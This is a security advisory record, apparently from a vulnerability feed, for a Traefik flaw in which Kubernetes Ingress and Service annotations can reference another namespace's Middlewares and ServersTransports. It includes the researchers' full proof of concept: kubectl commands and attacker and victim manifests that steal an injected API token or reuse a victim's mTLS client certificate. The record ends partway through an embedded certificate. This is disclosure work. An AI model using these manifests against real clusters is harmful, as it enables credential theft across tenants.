{"schema":"threatline.record/2","record":{"id":"GHSA-rh7m-2m44-x32f","aliases":["GHSA-rh7m-2m44-x32f"],"summary":"Traefik: Kubernetes Ingress and Service annotations allow cross-namespace references to Middlewares, ServersTransports, and TLSOptions","details":"## Summary\n\nThere is a medium severity vulnerability in Traefik's Kubernetes Ingress provider that allows an actor with permission to create or update `Ingress` or `Service` resources in one namespace to reference `Middleware`, `ServersTransport`, and `TLSOption` resources from other namespaces through annotations. Unlike the Kubernetes CRD provider, which rejects such references when `allowCrossNamespace` is disabled, the annotation path performs no namespace validation, partially bypassing namespace-based tenant isolation. In multi-tenant clusters, this can expose another tenant's secrets, such as credentials injected by a `Headers` middleware or a client certificate configured in a `ServersTransport`. The fix introduces the `crossProviderNamespaces` option on the Kubernetes providers, which must be explicitly set to restrict which namespaces are allowed to use cross-provider references; when it is left unset, all namespaces remain allowed.\n\n## Patches\n\n- https://github.com/traefik/traefik/releases/tag/v2.11.46\n- https://github.com/traefik/traefik/releases/tag/v3.6.17\n- https://github.com/traefik/traefik/releases/tag/v3.7.1\n\n## For more information\n\nIf you have any questions or comments about this advisory, please [open an issue](https://github.com/traefik/traefik/issues).\n\n<details>\n<summary>Original Description</summary>\n\n# Traefik: Missing Cross-Namespace Validation When Using K8s Annotations\n\n## Brief Summary\n\nTraefik in Kubernetes (K8s) allows cross-namespace access to Traefik resources when using Annotations on Ingress and Service resources.\n\n## Table of Content\n\n- [Traefik: Missing Cross-Namespace Validation When Using K8s Annotations](#traefik-missing-cross-namespace-validation-when-using-k8s-annotations)\n  - [Brief Summary](#brief-summary)\n  - [Table of Content](#table-of-content)\n  - [Description](#description)\n  - [Affected Version](#affected-version)\n  - [Source Code References](#source-code-references)\n  - [Prerequisites](#prerequisites)\n  - [Impact](#impact)\n  - [Security Researcher / Reporter](#security-researcher--reporter)\n  - [Proof of Concept](#proof-of-concept)\n    - [Middleware Proof Of Concept](#middleware-proof-of-concept)\n      - [Step 1: Preparation](#step-1-preparation)\n      - [Step 2: Create Victim's Resources](#step-2-create-victims-resources)\n      - [Step 3: Create Attacker Resources](#step-3-create-attacker-resources)\n      - [Step 4: Attacker steals API Token](#step-4-attacker-steals-api-token)\n    - [ServersTransport Proof Of Concept](#serverstransport-proof-of-concept)\n      - [Step 1: Create Victim and Attacker Namespaces](#step-1-create-victim-and-attacker-namespaces)\n      - [Step 2: Create Victim Resources](#step-2-create-victim-resources)\n      - [Step 3: Create Attacker Resources](#step-3-create-attacker-resources-1)\n      - [Step 3: Attacker steals Client Certificate to authenticate against protected resource living in the victim's own namespace](#step-3-attacker-steals-client-certificate-to-authenticate-against-protected-resource-living-in-the-victims-own-namespace)\n  - [Recommendation](#recommendation)\n  - [Appendix](#appendix)\n    - [Resources](#resources)\n      - [PoC router.middlewares / victim.yaml](#poc-routermiddlewares--victimyaml)\n      - [PoC router.middlewares / attacker.yaml](#poc-routermiddlewares--attackeryaml)\n      - [PoC service.serverstransport / victim.yaml](#poc-serviceserverstransport--victimyaml)\n      - [PoC service.serverstransport / attacker.yaml](#poc-serviceserverstransport--attackeryaml)\n      - [PoC router.middlewares intern-demo-access-victims-pod-wo-auth.txt](#poc-routermiddlewares-intern-demo-access-victims-pod-wo-authtxt)\n      - [PoC router.middlewares intern-demo-access-victims-pod-with-auth.txt](#poc-routermiddlewares-intern-demo-access-victims-pod-with-authtxt)\n    - [Test Setup](#test-setup)\n\n## Description\n\nWhen using the Ingress and Service Annotations, it is possible to reference Middlewares, ServersTransports, and TLSOptions from foreign namespaces. While this is disallowed by default for Traefik's Kubernetes CRDs (by the [Configuration Option ``providers.kubernetesCRD.allowCrossNamespace``](https://doc.traefik.io/traefik/reference/install-configuration/providers/kubernetes/kubernetes-crd/#opt-providers-kubernetesCRD-allowCrossNamespace)), no validation is done when using Annotations on K8s Ingress and Service resources.\n\nAn attacker can include these resources in an Ingress or Service configuration and thereby partially bypassing namespace-based tenant isolation. In certain cases, this will give an attacker access to data of services in other namespaces, for instance:\n\n- If a middleware adds an API access token through the Header middleware, an attacker can steal this token.\n- An attacker could include a ServersTransport that does client certificate authentication against a service to access this service.\n- An attacker could include a ForwardAuth middleware to gain access to the internal response headers of the forward auth service and thus might steal internal tokens.\n\n## Affected Version\n\nThe vulnerability was tested in the current Traefik version v3.6.5. Older versions are affected, too.\n\n## Source Code References \n\nIngress and Service Annotations are vulnerable. There is no check implemented in:\n\n[``pkg/provider/kubernetes/ingress/kubernetes.go``](https://github.com/traefik/traefik/blob/f794f8a29491b8467868811a3142a48e8f0a3854/pkg/provider/kubernetes/ingress/kubernetes.go#L202)\n\nTraefik's Kubernetes CRDs are not vulnerable and prevent cross namespace access:\n\n[``pkg/provider/kubernetes/crd/kubernetes_http.go``](https://github.com/traefik/traefik/blob/f794f8a29491b8467868811a3142a48e8f0a3854/pkg/provider/kubernetes/crd/kubernetes_http.go#L170)\n\n## Prerequisites\n\n- Traefik is installed in Kubernetes\n  - No special configuration is required as the ``kubernetesIngress`` provider is enabled by default\n- The attacker needs permission to create or modify Ingress or Service resources in one namespace\n- The name of the namespace and the name of the Middleware, TLSOption, or ServersTransport resource they want to target\n\n## Impact\n\nAn attacker can include Middlewares, ServersTransports, and TLSOptions resources from foreign namespaces in their own Ingress or Service configuration, thereby partially bypassing namespace-based tenant isolation. In certain cases, this will give an attacker access to data of services in other namespaces.\n\n## Security Researcher / Reporter\n\n- Lorin Lehawany of ERNW Enno Rey Netzwerke GmbH\n- Sven Nobis of ERNW Enno Rey Netzwerke GmbH\n\n## Proof of Concept\n\nThe following descriptions explain the exploitation in detail for the two affected resource types Middleware and ServersTransport.\n\nThe proof of concept (PoC) was tested in a Traefik setup installed via Helm chart in version `37.4.0`, but with the most recent Traefik app version ``v3.6.5`` and the default configuration. See the [test setup section](#test-setup) for details.\n\n### Middleware Proof Of Concept\n\nThe following steps demonstrate the problem with the affected ``router.middlewares`` annotation.\n\nThis PoC even works with restrictive Network Policies set.\n\n#### Step 1: Preparation\n\nFirst, the namespaces `traefik-victim` and `traefik-attacker` are created:\n\n```sh\nkubectl create namespace traefik-victim\nkubectl create namespace traefik-attacker\n\nnamespace/traefik-victim created\nnamespace/traefik-attacker created\n```\n\nIn the next steps, the resources in the `victim.yaml` are created in the namespace `traefik-victim`, and the resources in the `attacker.yaml` are created in the namespace `traefik-attacker`.\n\n#### Step 2: Create Victim's Resources \n\nThis step creates some resources to simulate a typical vulnerable setup with an application that uses Traefik and Ingress.\n\nThe [`victim.yaml`](#poc-routermiddlewares--victimyaml) creates an Ingress resource with the name `traefik-ingress` in the namespace `traefik-victim`. The Ingress exposes the victim's application under the hostname `traefik-victim.gke.gcp.ernw.eu` and routes all requests with the path prefix `/example-app` to an internal service on port 80.\n\nThe victim's application is exposed via the service `example-app-service` and protects its resources with an API token internally.\n\nThe application itself is a simple nginx, which is configured using the ConfigMap to deliver a static HTML page. The server rejects any request that does not contain the predefined `X-API-Token` HTTP header with the correct value.\n\nThis simulates an internal application that relies on a secret API token for authorization and assumes that only trusted users can provide this token.\n\nFurther, two Traefik middlewares are defined: `basicauth` and `addheader`.\n`basicauth` middleware enforces HTTP Basic Authentication, and the `addheader` adds an `X-API-Token` request header with a secret value to all incoming requests to allow access for authorized users.\n\nThis setup is deployed by the following commands:\n\n```sh\n$ kubectl apply -f victim.yaml -n traefik-victim\ningress.networking.k8s.io/traefik-ingress created\nservice/example-app-service created\ndeployment.apps/example-app created\nmiddleware.traefik.io/addheader created\nmiddleware.traefik.io/basicauth created\nsecret/authsecret created\nconfigmap/nginx-conf created\n```\n\nThe screenshot `victim-example-app.png` below shows the basic authentication, which is required for users to access the protected resources. After successful authentication, the user is logged in, and the static HTML content is displayed, as shown in the second screenshot (`victim-app.png`) below.\n\n<img width=\"1677\" height=\"864\" alt=\"victim-example-app\" src=\"https://github.com/user-attachments/assets/945d8687-3062-4e75-8b7b-3c4cb059d68a\" />\n\n<img width=\"1677\" height=\"454\" alt=\"victim-app\" src=\"https://github.com/user-attachments/assets/314cef38-d864-4a21-bc36-e759e32b15cb\" />\n\nThe file shows [intern-demo-access-victims-pod-wo-auth.txt](#poc-routermiddlewares-intern-demo-access-victims-pod-wo-authtxt) and [intern-demo-access-victims-pod-with-auth.txt](#poc-routermiddlewares-intern-demo-access-victims-pod-with-authtxt) show that authentication is required when accessing the service internally.\n\n#### Step 3: Create Attacker Resources\n\nThe [`attacker.yaml`](#poc-routermiddlewares--attackeryaml) contains the resources to steal the token from the ``addheader`` Middleware.\n\nThis attacker-controlled Ingress is deployed in the attacker's namespace and configured to use the victim's Traefik middleware through [the ``router.middlewares`` annotation](https://doc.traefik.io/traefik/reference/routing-configuration/kubernetes/ingress/#on-ingress).\n\nThe attacker-controlled deployment uses a simple ``whoami`` container which reflects all HTTP response headers. This is used to steal the victim's credentials.\n\nThis setup is deployed by the following commands in the namespace `traefik-attacker`:\n\n```sh\n$ kubectl apply -f attacker.yaml -n traefik-attacker\ningress.networking.k8s.io/traefik-ingress created\ndeployment.apps/whoami created\nservice/whoami created\n```\n\nThe following excerpt from the Traefik Pod shows that the resource from the victim's namespace is configured in the attacker's namespace:\n\n```log\n2025-12-17T19:49:37Z DBG github.com/traefik/traefik/v3/pkg/middlewares/headers/headers.go:26 > Creating middleware entryPointName=websecure middlewareName=traefik-victim-addheader@kubernetescrd middlewareType=Headers routerName=websecure-traefik-attacker-traefik-ingress-traefik-attacker-gke-gcp-ernw-eu-foo@kubernetes\n2025-12-17T19:49:37Z DBG github.com/traefik/traefik/v3/pkg/middlewares/headers/headers.go:46 > Setting up customHeaders/Cors from {map[X-API-Token:example-secret-api-token] map[] false [] [] [] [] [] 0 false [] [] map[] 0 false false false false  false false       false <nil> <nil> <nil> <nil> <nil>} entryPointName=websecure middlewareName=traefik-victim-addheader@kubernetescrd middlewareType=Headers routerName=websecure-traefik-attacker-traefik-ingress-traefik-attacker-gke-gcp-ernw-eu-foo@kubernetes\n```\n\nThis behavior is different to Traefik's IngressRoute which prevents this and is *not* vulnerable:\n\n```sh\n2025-06-05T19:48:45Z ERR github.com/traefik/traefik/v3/pkg/provider/kubernetes/crd/kubernetes_http.go:82 > Failed to create middleware keys error=\"middleware default/test is not in the IngressRoute namespace traefik-test\" ingress=traefik-route namespace=traefik-test providerName=kubernetescrd\n2025-06-05T19:48:45Z DBG github.com/traefik/traefik/v3/pkg/provider/kubernetes/crd/kubernetes.go:179 > Skipping Kubernetes event kind *v1.ConfigMap providerName=kubernetescrd\n2025-06-05T19:48:45Z ERR github.com/traefik/traefik/v3/pkg/provider/kubernetes/crd/kubernetes_http.go:82 > Failed to create middleware keys error=\"middleware default/test is not in the IngressRoute namespace traefik-test\" ingress=traefik-route namespace=traefik-test providerName=kubernetescrd\n```\n\n#### Step 4: Attacker steals API Token \n\nAs a result, the attacker can obtain the API Token that was originally intended only for the victim’s internal application, without being authorized to the victim’s service. This is done via an attacker accessing his exposed service, which reflects all HTTP response headers, including the `X-Api-Token: example-secret-api-token`.\n\nThe screenshot ``attacker-controlled-pod-whoami-reflects-all-http-response-headers.png`` below shows this.\n\n<img width=\"1674\" height=\"446\" alt=\"attacker-controlled-pod-whoami-reflects-all-http-response-headers\" src=\"https://github.com/user-attachments/assets/99d6bd00-f2cc-4139-a839-c581f9b9a98e\" />\n\n### ServersTransport Proof Of Concept\n\nThe following steps demonstrate the problem with the affected ServersTransport annotation.\n\nThis PoC does not work if Network Policies filter traffic to the victim's services from the attacker's namespace.\n\n#### Step 1: Create Victim and Attacker Namespaces\n\nFirst, the namespaces `traefik-victim` and `traefik-attacker` are created:\n\n```sh\nkubectl create namespace traefik-victim\nkubectl create namespace traefik-attacker\n\nnamespace/traefik-victim created\nnamespace/traefik-attacker created\n```\n\nIn the next steps, the resources in the `victim.yaml` are created in the namespace `traefik-victim`, and the resources in the `attacker.yaml` are created in the namespace `traefik-attacker`.\n\n#### Step 2: Create Victim Resources\n\nThis step creates some resources to simulate a typical vulnerable setup with an application which is using Traefik and Ingress. It simulates a setup where the internal service (`mtls-nginx`) is protected with mTLS.\n\nThe [`victim.yaml`](#poc-serviceserverstransport--victimyaml) creates multiple resources to demonstrate the following scenario: A user accesses the application via HTTPS, where access from the outside is restricted through basic authentication and client certificate authentication is enforced inside the cluster.\n\nThe resource `traefik-ingress` exposes the victim's application under the hostname `traefik-victim.gke.gcp.test.eu` with the path prefix `/example-app` and enforces basic authentication via the `basicauth` middleware.\n\nThe Ingress forwards traffic to the Service `mtls-nginx`, which represents the nginx Pod.\n\nThe `mtls-nginx` Service routes traffic to the deployment `mtls-nginx`, which runs the nginx web server. For demonstration-purposes the web server delivers some static content.\n\nThe ServersTransport resource with the name `serverstransport` defines the mTLS settings for Traefik. It requires to specify the server name, root CA, and client certificate to authenticate with the nginx.\n\nTo simulate a more realistic scenario, the defined Middleware `basicauth` enforces basic authentication using the Secret `authsecret` for username/password so that access from the outside is restricted.\n\nThis setup is deployed by the following commands:\n\n```sh\n$ kubectl apply -f vicitim.yaml -n traefik-victim\ningress.networking.k8s.io/traefik-ingress created\nservice/mtls-nginx created\ndeployment.apps/mtls-nginx created\nserverstransport.traefik.io/serverstransport created\nconfigmap/nginx-mtls-conf created\nconfigmap/client-ca-cert created\nsecret/nginx-tls created\nsecret/client-cert-secret created\nsecret/nginx-cert created\nmiddleware.traefik.io/basicauth created\nsecret/authsecret created\n```\n\n#### Step 3: Create Attacker Resources \n\nThe [`attacker.yaml`](#poc-serviceserverstransport--attackeryaml) contains the resources to get access the victim's mTLS protected service.\n\nThe attacker's setup exposes the host `traefik-attacker.gke.gcp.ernw.eu` that forwards traffic to a `socat` proxy, which routes HTTPS connections directly to the victim’s mTLS service to authenticate successfully. Traefik perform client certificate authentication with the victim's client certificate through the configuration of the [``service.serverstransport`` annotation](https://doc.traefik.io/traefik/reference/routing-configuration/kubernetes/ingress/#on-service). The attacker does not need RBAC access to the victim's namespace to do it.\n\nAn attacker can use the ``service.serverstransport`` annotation to do mTLS authentication against other services inside and outside of the cluster, too.\n\nThis setup is deploy by the following commands in the namespace `traefik-attacker`:\n\n```sh\n$ kubectl apply -f attacker.yaml -n traefik-attacker \ningress.networking.k8s.io/traefik-ingress created\nservice/socat-proxy created\ndeployment.apps/socat-proxy created\n```\n\nThe following excerpt from the Traefik Pod shows that the resource from the victim's namespace is configured in the attacker's namespace:\n\n```log\n2025-12-18T12:08:25Z DBG github.com/traefik/traefik/v3/pkg/server/configurationwatcher.go:227 > Configuration received config={\"http\":{\"routers\":{\"traefik-attacker-traefik-ingress-traefik-attacker-gke-gcp-ernw-eu-example-app\":{\"entryPoints\":[\"web\",\"websecure\"],\"rule\":\"Host(`traefik-attacker.gke.gcp.ernw.eu`) && PathPrefix(`/example-app`)\",\"service\":\"traefik-attacker-socat-proxy-443\"},\"traefik-victim-traefik-ingress-traefik-victim-gke-gcp-ernw-eu-example-app\":{\"entryPoints\":[\"web\",\"websecure\"],\"middlewares\":[\"traefik-victim-basicauth@kubernetescrd\"],\"rule\":\"Host(`traefik-victim.gke.gcp.ernw.eu`) && PathPrefix(`/example-app`)\",\"service\":\"traefik-victim-mtls-nginx-443\"}},\"services\":{\"traefik-attacker-socat-proxy-443\":{\"loadBalancer\":{\"passHostHeader\":true,\"responseForwarding\":{\"flushInterval\":\"100ms\"},\"servers\":[{\"url\":\"https://10.80.0.6:443\"}],\"serversTransport\":\"traefik-victim-serverstransport@kubernetescrd\",\"strategy\":\"wrr\"}},\"traefik-victim-mtls-nginx-443\":{\"loadBalancer\":{\"passHostHeader\":true,\"responseForwarding\":{\"flushInterval\":\"100ms\"},\"servers\":[{\"url\":\"https://10.80.2.7:443\"}],\"serversTransport\":\"traefik-victim-serverstransport@kubernetescrd\",\"strategy\":\"wrr\"}}}},\"tcp\":{},\"udp\":{}} providerName=kubernetes\n[...]\nrouterName=traefik-attacker-traefik-ingress-traefik-attacker-gke-gcp-ernw-eu-example-app@kubernetes serviceName=traefik-attacker-socat-proxy-443@kubernetes\n2025-12-18T12:08:25Z DBG github.com/traefik/traefik/v3/pkg/server/service/service.go:432 > Creating server URL=https://10.80.0.6:443 entryPointName=web routerName=traefik-attacker-traefik-ingress-traefik-attacker-gke-gcp-ernw-eu-example-app@kubernetes serverIndex=0 serviceName=traefik-attacker-socat-proxy-443@kubernetes\n[...]\n2025-12-18T12:08:25Z DBG github.com/traefik/traefik/v3/pkg/server/service/service.go:374 > Creating load-balancer entryPointName=web routerName=traefik-victim-traefik-ingress-traefik-victim-gke-gcp-ernw-eu-example-app@kubernetes serviceName=traefik-victim-mtls-nginx-443@kubernetes\n2025-12-18T12:08:25Z DBG github.com/traefik/traefik/v3/pkg/server/service/service.go:432 > Creating server URL=https://10.80.2.7:443 entryPointName=web routerName=traefik-victim-traefik-ingress-traefik-victim-gke-gcp-ernw-eu-example-app@kubernetes serverIndex=0 serviceName=traefik-victim-mtls-nginx-443@kubernetes\n```\n\n#### Step 3: Attacker steals Client Certificate to authenticate against protected resource living in the victim's own namespace\n\nAs a result, the attacker is able to authenticate with the client certificate from the victim's namespace against the victim's service and thus bypass the mTLS authentication.\n\nThe screenshot ``attacker-accessing-victims-protected-resources.png`` below shows this.\n\n<img width=\"1673\" height=\"525\" alt=\"attacker-accessing-victims-protected-resources\" src=\"https://github.com/user-attachments/assets/21d2d4ac-fdb3-4cfd-ac4b-4696952e9815\" />\n\n## Recommendation\n\nDisallow cross-namespaces access for annotations-based configuration by default, as in Traefik's Kubernetes CRDs, and offer a [Configuration Option like ``providers.kubernetesCRD.allowCrossNamespace``](https://doc.traefik.io/traefik/reference/install-configuration/providers/kubernetes/kubernetes-crd/#opt-providers-kubernetesCRD-allowCrossNamespace) to allow it.\n\n## Appendix\n\n### Resources\n\n#### PoC router.middlewares / victim.yaml\n\n```yaml\nkind: Ingress\napiVersion: networking.k8s.io/v1\nmetadata:\n  name: traefik-ingress\n  namespace: traefik-victim\n  annotations:\n    traefik.ingress.kubernetes.io/router.entrypoints: web,websecure\n    traefik.ingress.kubernetes.io/router.middlewares: \"traefik-victim-basicauth@kubernetescrd,traefik-victim-addheader@kubernetescrd\"\nspec:\n  ingressClassName: traefik\n  rules:\n    - host: traefik-victim.gke.gcp.ernw.eu\n      http:\n        paths:\n          - path: /example-app\n            pathType: Prefix\n            backend:\n              service:\n                name: example-app-service\n                port:\n                  number: 80\n  tls:\n  - hosts: [\"traefik-victim.gke.gcp.ernw.eu\"]\n    secretName: tls-cert\n---\nkind: Service\napiVersion: v1\nmetadata:\n  name: example-app-service\n  namespace: traefik-victim\nspec:\n  ports:\n    - name: http\n      port: 80\n  selector:\n    app: example-app\n---\n# This web application protects it resources by an API token internally:\nkind: Deployment\napiVersion: apps/v1\nmetadata:\n  name: example-app\n  namespace: traefik-victim\n  labels:\n    app: example-app\nspec:\n  replicas: 1\n  selector:\n    matchLabels:\n      app: example-app\n  template:\n    metadata:\n      labels:\n        app: example-app\n    spec:\n      containers:\n        - name: nginx\n          image: nginx:1.29\n          ports:\n            - containerPort: 80\n          volumeMounts:\n            - name: nginx-conf\n              mountPath: /etc/nginx/conf.d/default.conf\n              subPath: nginx.conf\n              readOnly: true\n            - name: nginx-conf\n              mountPath: /usr/share/nginx/html/example-app/index.html\n              subPath: protected-page.html\n              readOnly: true\n      volumes:\n      - name: nginx-conf\n        configMap:\n          name: nginx-conf\n          items:\n            - key: nginx.conf\n              path: nginx.conf\n            - key: protected-page.html\n              path: protected-page.html\n---\nkind: Middleware\napiVersion: traefik.io/v1alpha1\nmetadata:\n  name: addheader\n  namespace: traefik-victim\nspec:\n  headers:\n    customRequestHeaders:\n      X-API-Token: \"example-secret-api-token\" # Adds secret API token to request we want to steal\n---\n# The following resources are only for demo purposes to show a more realistic scenario:\nkind: Middleware\napiVersion: traefik.io/v1alpha1\nmetadata:\n  name: basicauth\n  namespace: traefik-victim\nspec:\n  basicAuth:\n    secret: authsecret\n---\nkind: Secret\napiVersion: v1\nmetadata:\n  name: authsecret\n  namespace: traefik-victim\ntype: kubernetes.io/basic-auth\ndata:\n  username: dXNlcg== # username: user\n  password: cGFzc3dvcmQ= # password: password\n---\napiVersion: v1\nkind: ConfigMap\nmetadata:\n  name: nginx-conf\n  namespace: traefik-victim\ndata:\n  nginx.conf: |\n    server {\n        listen       80;\n        server_name  traefik-victim.gke.gcp.ernw.eu;\n\n        location / {\n            root   /usr/share/nginx/html;\n            index  index.html index.htm;\n\n            # This rejects all requests that do not contain the correct \"API token\":\n            if ($http_x_api_token != \"example-secret-api-token\") {\n              return 401;\n            }\n        }\n    }\n  protected-page.html: |\n    <!doctype html>\n    <html>\n    <head>\n        <title>Secret Password Protect Page</title>\n\n        <meta charset=\"utf-8\" />\n        <meta http-equiv=\"Content-type\" content=\"text/html; charset=utf-8\" />\n        <meta name=\"viewport\" content=\"width=device-width, initial-scale=1\" />\n        <style type=\"text/css\">\n        body {\n            background-color: #f0f0f2;\n            margin: 0;\n            padding: 0;\n            font-family: -apple-system, system-ui, BlinkMacSystemFont, \"Segoe UI\", \"Open Sans\", \"Helvetica Neue\", Helvetica, Arial, sans-serif;\n            \n        }\n        div {\n            width: 600px;\n            margin: 5em auto;\n            padding: 2em;\n            background-color: #fdfdff;\n            border-radius: 0.5em;\n            box-shadow: 2px 3px 7px 2px rgba(0,0,0,0.02);\n        }\n        a:link, a:visited {\n            color: #38488f;\n            text-decoration: none;\n        }\n        @media (max-width: 700px) {\n            div {\n                margin: 0 auto;\n                width: auto;\n            }\n        }\n        </style>    \n    </head>\n\n    <body>\n    <div>\n        <h1>Secret Password Protect Page</h1>\n        <p>The content of this page is protected by an API token and exposed only through basic auth! No other internal service can access this page. 😈</p>\n    </div>\n    </body>\n    </html>\n```\n\n#### PoC router.middlewares / attacker.yaml\n\n```yaml\n# This attacker-controlled ingress is deployed in the attacker's namespace and configured to use the victim's traefik middleware\napiVersion: networking.k8s.io/v1\nkind: Ingress\nmetadata:\n  name: traefik-ingress\n  annotations:\n    # Victim Traefik Middleware Add Header\n    traefik.ingress.kubernetes.io/router.middlewares: \"traefik-victim-addheader@kubernetescrd\"\nspec:\n  ingressClassName: traefik\n  rules:\n    - host: traefik-attacker.gke.gcp.ernw.eu\n      http:\n        paths:\n          - path: /bar\n            pathType: Exact\n            backend:\n              service:\n                name:  whoami\n                port:\n                  number: 80\n          - path: /foo\n            pathType: Exact\n            backend:\n              service:\n                name:  whoami\n                port:\n                  number: 80\n  tls:\n  - hosts: [\"traefik-attacker.gke.gcp.ernw.eu\"]\n    secretName: tls-cert\n---\n# This is the attacker controlled deployment to steal the victim's credentials\napiVersion: apps/v1\nkind: Deployment\nmetadata:\n  name: whoami\n  labels:\n    app: traefiklabs\n    name: whoami\n\nspec:\n  replicas: 2\n  selector:\n    matchLabels:\n      app: traefiklabs\n      task: whoami\n  template:\n    metadata:\n      labels:\n        app: traefiklabs\n        task: whoami\n    spec:\n      containers:\n        - name: whoami\n          image: traefik/whoami\n          ports:\n            - containerPort: 80\n---\n# The HTTP service pointing to the attacker-controlled Pod to steal the victim's HTTP header credentials\napiVersion: v1\nkind: Service\nmetadata:\n  name: whoami\nspec:\n  ports:\n    - name: http\n      port: 80\n  selector:\n    app: traefiklabs\n    task: whoami\n```\n\n#### PoC service.serverstransport / victim.yaml\n\n```yaml\nkind: Ingress\napiVersion: networking.k8s.io/v1\nmetadata:\n  name: traefik-ingress\n  namespace: traefik-victim\n  annotations:\n    traefik.ingress.kubernetes.io/router.entrypoints: web,websecure\n    traefik.ingress.kubernetes.io/router.middlewares: \"traefik-victim-basicauth@kubernetescrd\"\nspec:\n  ingressClassName: traefik\n  rules:\n    - host: traefik-victim.gke.gcp.ernw.eu\n      http:\n        paths:\n          - path: /example-app\n            pathType: Prefix\n            backend:\n              service:\n                name: mtls-nginx\n                port:\n                  number: 443\n  tls:\n  - hosts: [\"traefik-victim.gke.gcp.ernw.eu\"]\n    secretName: tls-cert\n---\nkind: Service\napiVersion: v1\nmetadata:\n  name: mtls-nginx\n  namespace: traefik-victim\n  annotations:\n    traefik.ingress.kubernetes.io/service.serverstransport: traefik-victim-serverstransport@kubernetescrd\nspec:\n  selector:\n    app: mtls-nginx\n  ports:\n  - port: 443\n    targetPort: 443\n    name: https\n---\n# This web application protects it resources by mTLS internally:\napiVersion: apps/v1\nkind: Deployment\nmetadata:\n  name: mtls-nginx\n  namespace: traefik-victim\n  labels:\n    app: mtls-nginx\nspec:\n  replicas: 1\n  selector:\n    matchLabels:\n      app: mtls-nginx\n  template:\n    metadata:\n      labels:\n        app: mtls-nginx\n    spec:\n      containers:\n      - name: nginx\n        image: nginx:1.29\n        ports:\n        - containerPort: 443\n        volumeMounts:\n        - name: nginx-conf\n          mountPath: /etc/nginx/conf.d/nginx.conf\n          subPath: nginx.conf\n          readOnly: true\n        - name: tls-secret\n          mountPath: /etc/nginx/tls\n          readOnly: true\n        - name: client-ca\n          mountPath: /etc/nginx/client-ca\n          readOnly: true\n        - name: nginx-conf\n          mountPath: /usr/share/nginx/html/example-app/index.html\n          subPath: protected-page.html\n      volumes:\n      - name: nginx-conf\n        configMap:\n          name: nginx-mtls-conf\n      - name: tls-secret\n        secret:\n          secretName: nginx-tls\n      - name: client-ca\n        configMap:\n          name: client-ca-cert\n---\nkind: ServersTransport\napiVersion: traefik.io/v1alpha1\nmetadata:\n  name: serverstransport\n  namespace: traefik-victim\nspec:\n  serverName: mtls-nginx.traefik-victim.svc.cluster.local\n  rootCAsSecrets: \n    - nginx-cert\n  certificatesSecrets:\n    - client-cert-secret\n---\nkind: ConfigMap\napiVersion: v1\nmetadata:\n  name: nginx-mtls-conf\n  namespace: traefik-victim\ndata:\n  nginx.conf: |\n    server {\n      listen 443 ssl;\n      server_name traefik-victim.gke.gcp.ernw.eu;\n\n      ssl_certificate /etc/nginx/tls/tls.crt;\n      ssl_certificate_key /etc/nginx/tls/tls.key;\n\n      # Client certificate auth\n      ssl_client_certificate /etc/nginx/client-ca/ca.crt;\n      ssl_verify_client on;\n\n      location / {\n        root   /usr/share/nginx/html;\n        index  index.html index.htm;\n      }\n    }\n  protected-page.html: |\n    <!doctype html>\n    <html>\n    <head>\n        <title>Secret Password Protect Page</title>\n\n        <meta charset=\"utf-8\" />\n        <meta http-equiv=\"Content-type\" content=\"text/html; charset=utf-8\" />\n        <meta name=\"viewport\" content=\"width=device-width, initial-scale=1\" />\n        <style type=\"text/css\">\n        body {\n            background-color: #f0f0f2;\n            margin: 0;\n            padding: 0;\n            font-family: -apple-system, system-ui, BlinkMacSystemFont, \"Segoe UI\", \"Open Sans\", \"Helvetica Neue\", Helvetica, Arial, sans-serif;\n            \n        }\n        div {\n            width: 600px;\n            margin: 5em auto;\n            padding: 2em;\n            background-color: #fdfdff;\n            border-radius: 0.5em;\n            box-shadow: 2px 3px 7px 2px rgba(0,0,0,0.02);\n        }\n        a:link, a:visited {\n            color: #38488f;\n            text-decoration: none;\n        }\n        @media (max-width: 700px) {\n            div {\n                margin: 0 auto;\n                width: auto;\n            }\n        }\n        </style>    \n    </head>\n\n    <body>\n    <div>\n        <h1>Secret Password Protect Page</h1>\n        <p>The content of this page is protected by mTLS internally and exposed only through basic auth! No other internal service can access this page. 😈</p>\n    </div>\n    </body>\n    </html>\n\n---\nkind: ConfigMap\napiVersion: v1\nmetadata:\n  name: client-ca-cert\n  namespace: traefik-victim\ndata:\n  ca.crt: |\n    -----BEGIN CERTIFICATE-----\n    MIIFjjCCA3agAwIBAgIUApAFCTgKenO0yFHeVjIBQCxSDuYwDQYJKoZIhvcNAQEL\n    BQAwLDEqMCgGA1UEAwwhdHJhZWZpay50cmFlZmlrLnN2Yy5jbHVzdGVyLmxvY2Fs\n    MB4XDTI1MDYxMTE1NTUzM1oXDTM1MDYwOTE1NTUzM1owLDEqMCgGA1UEAwwhdHJh\n    ZWZpay50cmFlZmlrLnN2Yy5jbHVzdGVyLmxvY2FsMIICIjANBgkqhkiG9w0BAQEF\n    AAOCAg8AMIICCgKCAgEAug8bkYcleEmD2X/YQO/CM//CS42GCxht5SRRT/vbiz+l\n    LZFFvRsDWc7FIM+YTvBSc13oTv700jcKMQB4uS5y+1+nqQV5aY7RNH+ethuH8586\n    yC/L/J+IxqPcLm10Bl54/GQF3HF7jiYtvNe8U/xTZynmtCOIS5AjtYdaAG1XLSh3\n    JuuzXreF145HSqPhHrIiDJGIhhyyQC831h5+B3szRVyKH3pcsI53Klu2XQwIR4y6\n    OMkZrnQxOiTPz8SruCgIl0u1Otst6M3AbtMpyVe4F1Ln4XiOvOTtBnKN1Dof35gU\n    Rtbau/2pNti+QkZ88Pwxzr4Qywa4/aTsD4/gDCZsKkcYiSl9PydSwCJLIuHbrUHL\n    VBBdQvKNPIOY9llYMrepnWpraocowMsBBuH8toDNRGDqOw2ifDbkY5AA9+akC4yj\n    lJXeGncIGZWez6X7FNCyi7SfHZ8n8TOgKjiJ32frjNmLgWXHizZ+ouDcdBBGf1za\n    DyFwJgapjg69dMxypsCT5YCWhbRHn1yguH0rLJOPeauY9aO0rDXh6IM67bzMNtBa\n    j9Tq2t29R8O0o+mj7J1ZGUFQnCOmtGjZO226djwFWWTBJUHU11ryzx+5OTMfbLCs\n    tJfzGujj+Frrb1ehi/vNLryjw+Nl4qzmIPFSZeeWRt0CBdB+0ZIlygFY1cyBrFEC\n    AwEAAaOBpzCBpDAdBgNVHQ4EFgQUKVBrW4LJfQ6KJngrL4EbMfGnEWIwHwYDVR0j\n    BBgwFoAUKVBrW4LJfQ6KJngrL4EbMfGnEWIwDwYDVR0TAQH/BAUwAwEB/zBRBgNV\n    